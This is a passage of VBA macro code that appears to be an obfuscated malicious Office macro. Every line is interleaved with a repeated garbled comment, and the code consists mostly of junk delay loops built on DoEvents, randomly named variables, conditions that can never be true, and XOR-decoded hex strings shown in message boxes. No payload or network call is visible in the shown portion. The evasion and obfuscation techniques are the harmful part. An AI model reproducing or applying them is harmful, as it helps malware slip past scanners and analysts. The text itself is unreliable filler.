'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next eCNqowmF
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
lARGpllG = 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While lARGpllG < 87
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim sXRHtlwy As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For sXRHtlwy = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next sXRHtlwy
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: lARGpllG = lARGpllG + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim pqfrwebA As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For pqfrwebA = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next pqfrwebA
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim unCkIuYW As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For unCkIuYW = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next unCkIuYW
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox (XORI(Hextostring("24243119183F2F185654"), Hextostring("6F674554")))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len(XORI(Hextostring("06270025363B06215E775C58"), Hextostring("776568426569"))) = Len(XORI(Hextostring("03001A1E0B181101"), Hextostring("7463704F4F"))) Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim RfsdIxHn As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim VAjNmWcB As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For VAjNmWcB = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next VAjNmWcB
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
RfsdIxHn = 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While RfsdIxHn < 43
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim imlWPWPx As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For imlWPWPx = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next imlWPWPx
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: RfsdIxHn = RfsdIxHn + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim KgKLxLju As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For KgKLxLju = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next KgKLxLju
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim AolHysaG As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For AolHysaG = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next AolHysaG
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox (XORI(Hextostring("3C391C280B6B4F6658"), Hextostring("794B6E47")))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim WhazPzFh As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim wLgyaeWJ As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For wLgyaeWJ = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next wLgyaeWJ
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
WhazPzFh = 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While WhazPzFh < 74
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim tDFivucW As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For tDFivucW = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next tDFivucW
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: WhazPzFh = WhazPzFh + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim RLHVoERl As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For RLHVoERl = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next RLHVoERl
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim MVjWXZHy As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For MVjWXZHy = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next MVjWXZHy
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End Function
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Sub BDMLBVTBLGM()
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 537311 = 537311 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 2359 < 47 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ZniZRiiW As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim RSckpaIQ As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For RSckpaIQ = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next RSckpaIQ
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
ZniZRiiW = 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While ZniZRiiW < 69
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim OoCwwNUa As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For OoCwwNUa = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next OoCwwNUa
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: ZniZRiiW = ZniZRiiW + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim SCXTjVKq As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For SCXTjVKq = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next SCXTjVKq
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim PsYLRzBR As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For PsYLRzBR = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next PsYLRzBR
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox (XORI(Hextostring("3A00182123130B02795B"), Hextostring("4A634263")))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len(XORI(Hextostring("1E32070A3F37062550495B70"), Hextostring("687A6A46"))) = Len(XORI(Hextostring("2434291B182C220F"), Hextostring("4146434E"))) Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ARKSieRt As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim xOtMyRXz As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For xOtMyRXz = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next xOtMyRXz
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
ARKSieRt = 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While ARKSieRt < 98
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim jlrBJvyX As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For jlrBJvyX = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next jlrBJvyX
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: ARKSieRt = ARKSieRt + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim jleeATzh As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For jleeATzh = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next jleeATzh
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim xDPUphJo As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For xDPUphJo = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next xDPUphJo
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox (XORI(Hextostring("3130311B3063556362"), Hextostring("744243")))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim lcVdtKjS As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim JxuWQGhN As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For JxuWQGhN = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next JxuWQGhN
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
lcVdtKjS = 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While lcVdtKjS < 87
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim jcZoftxl As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For jcZoftxl = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next jcZoftxl
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: lcVdtKjS = lcVdtKjS + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ltoIGEMv As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For ltoIGEMv = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next ltoIGEMv
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim MaeuVsmZ As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For MaeuVsmZ = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next MaeuVsmZ
